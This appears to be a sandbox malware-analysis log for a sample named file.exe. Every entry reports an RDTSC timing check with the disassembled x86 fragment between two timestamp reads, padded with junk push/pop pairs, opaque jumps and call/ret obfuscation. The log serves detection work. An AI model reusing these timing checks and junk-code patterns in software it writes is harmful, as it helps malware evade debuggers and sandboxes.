Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9934 second address: FD994E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jmp 00007F8264D3C8FFh 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD994E second address: FD996A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jo 00007F8264EBD7A6h 0x00000015 jnp 00007F8264EBD7A6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD996A second address: FD998F instructions: 0x00000000 rdtsc 0x00000002 js 00007F8264D3C8FCh 0x00000008 jl 00007F8264D3C8F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8264D3C901h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB32C second address: FDB336 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F9B3 second address: F9F9B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2ACA second address: FE2AE0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F8264EBD7B2h 0x0000000e jg 00007F8264EBD7A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2AE0 second address: FE2AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2768 second address: FE276E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE276E second address: FE2776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2776 second address: FE277A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE277A second address: FE27C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8264D3C901h 0x0000000e jno 00007F8264D3C908h 0x00000014 jmp 00007F8264D3C902h 0x00000019 jo 00007F8264D3C8FCh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE296F second address: FE2975 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2975 second address: FE297A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE4E72 second address: FE4E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5034 second address: FE503A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE503A second address: FE5040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5367 second address: FE536C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE536C second address: FE5371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE597B second address: FE59C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8264D3C8F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F8264D3C8F8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], ebx 0x00000016 mov dword ptr [ebp+122D250Ch], edi 0x0000001c nop 0x0000001d pushad 0x0000001e push ebx 0x0000001f jmp 00007F8264D3C903h 0x00000024 pop ebx 0x00000025 push eax 0x00000026 jmp 00007F8264D3C8FDh 0x0000002b pop eax 0x0000002c popad 0x0000002d push eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5A99 second address: FE5A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5EA8 second address: FE5EB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE5EB5 second address: FE5EBF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8264EBD7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7E1F second address: FE7E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7E25 second address: FE7E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F8264EBD7B3h 0x00000011 jmp 00007F8264EBD7ADh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9DF9 second address: FE9E0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jno 00007F8264D3C8F6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE9E0F second address: FE9E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB89E second address: FEB8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C905h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA5EA second address: FEA5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8264EBD7A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEA5F5 second address: FEA620 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8264D3C904h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F8264D3C8FCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBFCA second address: FEBFD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8004 second address: FA801F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jnl 00007F8264D3C8FCh 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA801F second address: FA8023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8023 second address: FA804A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8264D3C8FDh 0x00000010 js 00007F8264D3C8F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA804A second address: FA804E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEFB29 second address: FEFBA7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8264D3C905h 0x00000008 jmp 00007F8264D3C8FFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jbe 00007F8264D3C902h 0x00000016 jnc 00007F8264D3C8FCh 0x0000001c nop 0x0000001d call 00007F8264D3C8FFh 0x00000022 push esi 0x00000023 clc 0x00000024 pop edi 0x00000025 pop ebx 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F8264D3C8F8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 jmp 00007F8264D3C8FFh 0x00000047 push 00000000h 0x00000049 mov bx, ax 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jbe 00007F8264D3C8F8h 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0F11 second address: FF0F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2EB9 second address: FF2F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8264D3C8F6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d jmp 00007F8264D3C8FEh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F8264D3C8F8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d jg 00007F8264D3C912h 0x00000033 jmp 00007F8264D3C8FAh 0x00000038 push 00000000h 0x0000003a mov ebx, ecx 0x0000003c push 00000000h 0x0000003e jc 00007F8264D3C8FCh 0x00000044 mov dword ptr [ebp+1245B5E5h], eax 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F8264D3C905h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF2F4D second address: FF2F52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3F66 second address: FF3F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8264D3C8F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3F71 second address: FF3F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8264EBD7B2h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF30CB second address: FF3173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 sub dword ptr [ebp+124572FDh], edi 0x0000000c push dword ptr fs:[00000000h] 0x00000013 sub dword ptr [ebp+12448D25h], edx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov edi, dword ptr [ebp+122D214Eh] 0x00000026 mov eax, dword ptr [ebp+122D1191h] 0x0000002c jbe 00007F8264D3C8FCh 0x00000032 or dword ptr [ebp+122D2362h], eax 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F8264D3C8F8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 pushad 0x00000055 sbb edx, 0BCD4BB4h 0x0000005b mov dword ptr [ebp+122D2337h], edx 0x00000061 popad 0x00000062 mov bx, EAA5h 0x00000066 nop 0x00000067 push edx 0x00000068 jno 00007F8264D3C90Bh 0x0000006e pop edx 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 jmp 00007F8264D3C907h 0x00000078 push edi 0x00000079 pop edi 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4F2F second address: FF4F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 nop 0x00000007 mov bl, D1h 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F8264EBD7A8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov edi, dword ptr [ebp+122D3841h] 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F8264EBD7ABh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF40E9 second address: FF40EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF40EF second address: FF40F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF4F70 second address: FF4F8D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F8264D3C8FCh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f je 00007F8264D3C8FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF41DB second address: FF41E5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8264EBD7ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF41E5 second address: FF41F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F8264D3C8FEh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF512C second address: FF5130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6F0A second address: FF6F10 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF5FF3 second address: FF5FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DEB0 second address: F9DEB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF94E1 second address: FF9566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F8264EBD7B3h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jmp 00007F8264EBD7AAh 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F8264EBD7A8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 sub dword ptr [ebp+12446296h], ebx 0x0000003a push 00000000h 0x0000003c mov edi, dword ptr [ebp+122D2DAFh] 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F8264EBD7A8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000016h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e xchg eax, esi 0x0000005f push ebx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA3DE second address: FFA3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA3E4 second address: FFA46B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F8264EBD7A8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jmp 00007F8264EBD7B0h 0x0000002d push 00000000h 0x0000002f sub dword ptr [ebp+12478EC2h], ebx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F8264EBD7A8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 jo 00007F8264EBD7ACh 0x00000057 xor dword ptr [ebp+122D19CFh], esi 0x0000005d mov dword ptr [ebp+122D1C19h], eax 0x00000063 push eax 0x00000064 jnl 00007F8264EBD7C4h 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFA46B second address: FFA46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB3A1 second address: FFB3C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8264EBD7A6h 0x00000009 jc 00007F8264EBD7A6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jne 00007F8264EBD7A6h 0x0000001c jmp 00007F8264EBD7AAh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB3C8 second address: FFB416 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F8264D3C8F6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2142h], ecx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F8264D3C8F8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 mov edi, dword ptr [ebp+122D234Ch] 0x00000038 mov cx, 9DADh 0x0000003c popad 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 pushad 0x00000042 popad 0x00000043 pop eax 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC3D8 second address: FFC3E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC3E6 second address: FFC3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB5F5 second address: FFB69C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8264EBD7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d jnc 00007F8264EBD7A8h 0x00000013 pop esi 0x00000014 nop 0x00000015 mov dword ptr [ebp+12470A3Dh], edi 0x0000001b mov bx, 3424h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov dword ptr [ebp+122D1C73h], edx 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007F8264EBD7A8h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d jng 00007F8264EBD7B2h 0x00000053 jns 00007F8264EBD7ACh 0x00000059 mov eax, dword ptr [ebp+122D07F9h] 0x0000005f mov bx, ax 0x00000062 push FFFFFFFFh 0x00000064 push 00000000h 0x00000066 push ebp 0x00000067 call 00007F8264EBD7A8h 0x0000006c pop ebp 0x0000006d mov dword ptr [esp+04h], ebp 0x00000071 add dword ptr [esp+04h], 00000015h 0x00000079 inc ebp 0x0000007a push ebp 0x0000007b ret 0x0000007c pop ebp 0x0000007d ret 0x0000007e nop 0x0000007f jmp 00007F8264EBD7B4h 0x00000084 push eax 0x00000085 push edi 0x00000086 pushad 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD40E second address: FFD428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264D3C906h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD428 second address: FFD42C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE3C8 second address: FFE3CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE3CE second address: FFE3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE3D2 second address: FFE3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE472 second address: FFE47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8264EBD7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF387 second address: FFF38D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFF38D second address: FFF391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000220 second address: 1000226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000226 second address: 1000242 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8264EBD7ACh 0x00000008 jg 00007F8264EBD7A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnc 00007F8264EBD7A6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1000242 second address: 1000247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002691 second address: 1002697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1002697 second address: 10026A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264D3C8FCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10026A8 second address: 10026C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8264EBD7B8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1005AB2 second address: 1005ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
